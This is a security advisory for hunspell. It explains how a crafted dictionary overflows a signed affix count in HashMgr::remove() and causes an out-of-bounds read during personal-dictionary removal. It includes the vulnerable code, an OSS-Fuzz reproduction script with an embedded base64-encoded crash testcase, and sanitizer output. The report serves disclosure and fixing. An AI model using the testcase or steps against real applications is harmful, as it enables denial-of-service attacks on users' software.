Signed Affix-Count Overflow Causes Out-of-Bounds Read in Personal Dictionary Removal
Repository: hunspell/hunspell
Affected commit: 77764d18f2483413ce94a032f29578437826dd52
Sink: src/hunspell/hashmgr.cxx:520 in HashMgr::remove()
Sanitizer verdict: wild-address read in std::sort()
Summary
A crafted Hunspell .aff/.dic pair can create a dictionary entry with the maximum positive signed 16-bit affix count. Calling the public personal-dictionary removal operation for that word makes HashMgr::remove() append the forbidden-word flag, increment the signed short hentry::alen from 32767 to -32768, and pass a reversed, out-of-bounds iterator range to std::sort(). AddressSanitizer observes a wild-address read and terminates the process.
An attacker must convince an application to load the crafted dictionary and perform a personal-dictionary operation. The demonstrated impact is process denial of service; no confidentiality or integrity impact is claimed.
Detail
hentry::alen, the number of affix flags, is a signed 16-bit short:
struct hentry {
unsigned short* astr;
// ...
short alen;
// ...
};
HashMgr::remove() allocates space for one additional flag, copies the old flags, appends forbiddenword, and increments alen without checking its upper bound:
auto flags = new unsigned short[dp->alen + 1];
for (int i = 0; i < dp->alen; i++)
flags[i] = dp->astr[i];
flags[dp->alen] = forbiddenword;
release_flags(dp->astr, dp->var & H_OPT_OWNFLAGS);
dp->astr = flags;
dp->alen++;
dp->var |= H_OPT_OWNFLAGS;
std::sort(flags, flags + dp->alen);
For an entry with alen == 32767, the allocation and copy complete, then dp->alen++ wraps to -32768. On the reproduced x86-64 build, the calculated end iterator is exactly 0x10000 bytes before the start iterator: -32768 elements multiplied by sizeof(unsigned short). std::sort() treats this invalid range as legitimate and reads an unmapped address.
Reproduce
The testcase is large because it contains the maximum flag vector, but compresses to a few kilobytes and is embedded below. The official OSS-Fuzz build and execution containers are capped at 6 GiB and two CPUs.
set -eu
work="$(mktemp -d)"
trap 'rm -rf "$work"' EXIT
git clone --depth 1 https://github.com/google/oss-fuzz.git "$work/oss-fuzz"
cd "$work/oss-fuzz"
python3 - <<'PY'
from pathlib import Path
helper = Path("infra/helper.py")
text = helper.read_text()
needle = "'docker', 'run', '--privileged', '--shm-size=2g'"
replacement = "'docker', 'run', '--privileged', '--memory=6g', '--cpus=2', '--shm-size=2g'"
if needle not in text:
raise SystemExit("OSS-Fuzz helper layout changed; apply equivalent Docker limits manually")
helper.write_text(text.replace(needle, replacement))
PY
printf '%s%s%s' \
'H4sIAAAAAAAC/+3cT2wUVRzA8WGhkk5MAElMBBJe8Q8V2N15O7Mzu0Bih9mdUth/7rKlQbcq1liNKME/NBql0QMXozcTo0b+XSCCJhCiHoyJF0MMHAgXOVSJB000FhOFpMLz7R9rgUoPIKHy/TRvZufNmzdvfm3nt2+y2WK+lPv8sChn9x099ZZcpU59uPubMKqU+kGNnT2rVDRm1M3TZZMu841xxaBY6N2Y9O978JDeigdB0KieMfN0u1KGECJe0N3EPaVM84JnGp4bTYSRC8q4VMfEDdFcKenEl7s/xpari8aiaE934ZypzOCXma0T6yFn+0rlbNjTl61YpmFY97yufeVX/YNmUKwWMvmeTCaXrYR9e4Sw2uuDebl38RLRtqYcsaNmo36B1PUVYYz2ShEPT9TN1qXZ7FNberZ0U55t2Z5MppyUtJJeIjVqbJaeJR0pU7bjWo6bTlzWMuVM0fKnektHv3ZTCSmdZEqPJyJEmPO7xbMvbjH9UMj5emGsEDp6OpKGaFQmkm649MzwG2Eul83nX/MfUXWlsgEAAAAAk9k6uJIgAAC3RAAAAABMQwBMQ089/1zCsVw7lUqmU4QDAAAAAAAAuOW1EQLcQg4Tgv8ZpX4eIgoAAAAAAAAAMP3NJQQAAAAAAAAAAAAAAAAAAAAAgBslW8kWNvg5/RMxtjccX3aiLpF066vvj5yYSDp2u7EkFovtj8UOxZp26G7UuZFfT4+cenPRO/uOmkL2rvhT2IuVqfQuMyyWgwP+lvLoR5897KkGY+dgVZmmGt6XrIR9whZK' \
'yHypUMrafjRh2VYqlU9bVlKmrUTalq2httWP3KnLjmYnVtqSVsf1IGcYjy37Q3fpileNeNTuc+WoGvd2Y+k5m1K257ldZmnlimaZ88QmJ5F20q6nl0u6xmZpY2NjkQtKfxdM/ftglBHRC1tZlietA6v168wLQRA4gb/GLwdhNbdXrZJ77w6C9wIRBPwxAgAAAAAAGNf6yCp2ox5ZqQl4ZAUAAAAAYP7O/J35OwAAAMBs4eabLZhKR8IQwo2b41HRderGqw8jKtNJz5HHLhlLY3xe/Iq6aKFYzt7hxq/YUwmF/XRXdX9XYXVeiCEx5Iu+PULvmbr7yQdxWWN3krG0jtl2qVe2TXnEVJdqXU290b9rhWiys1/LiP5ufEw6XvLYP042V5FHt3b/d6e9Ss/X8ywdqnGnUgvnrY27ruu1bx1cqcyF85Tph2fao6rDnD3hhrbObh++ODJy/MCszcuEkGX1nTDL2fqeb4W9dFd/zeivDQzXajU18JJe1ozakT16JRPit+bvSQjj3mHRX3voYKYn1HeZ8PEPar9r2aCYKbdFlZpVqXZXNu7esPvdft2Rqo0M1BqML/N3bj+5uPOTlpxf6N7VOeB/fJt913hly/25us7OzrnNi1j35Jz+df0jCw4Ovt/Y7mhdXLA2G6wPivlSsVrIlLOlRt3AA0NbnrldnW9ecDT+xfmYXs+1PO9rEhoAANPBjhYiAQAAAAAAAIMPA/DRYQAAAAAAAIMHRTwoAgCQhcnCZGEAIHvclNmD9Ahg2hogPZIeyR68oeQ/hjeU3BIAgPR4' \
'c2aPvwDTcxbREAMBAA==' \
| base64 -d | gzip -dc > "$work/testcase.bin"
python3 infra/helper.py build_fuzzers hunspell \
--sanitizer address --engine libfuzzer --clean
docker run --rm --memory=512m --cpus=1 gcr.io/oss-fuzz/hunspell \
git -C /src/hunspell rev-parse HEAD
python3 infra/helper.py reproduce hunspell persdicfuzzer "$work/testcase.bin"
Observed on 77764d18f2483413ce94a032f29578437826dd52:
ERROR: AddressSanitizer: SEGV on unknown address 0x7e4693ae0000
The signal is caused by a READ memory access.
SCARINESS: 20 (wild-addr-read)
#0 std::__1::__introsort(...)
#1 std::__1::__sort_dispatch(...)
#2 std::__1::__sort_impl(...)
#3 std::__1::sort(...)
#4 HashMgr::remove(...) /src/hunspell/src/hunspell/hashmgr.cxx:520:7
#5 LLVMFuzzerTestOneInput /src/hunspell/src/tools/persdicfuzzer.cxx:103:22
SUMMARY: AddressSanitizer: SEGV in std::__1::__introsort(...)
Credit
Zheng Yu @ DepthFirst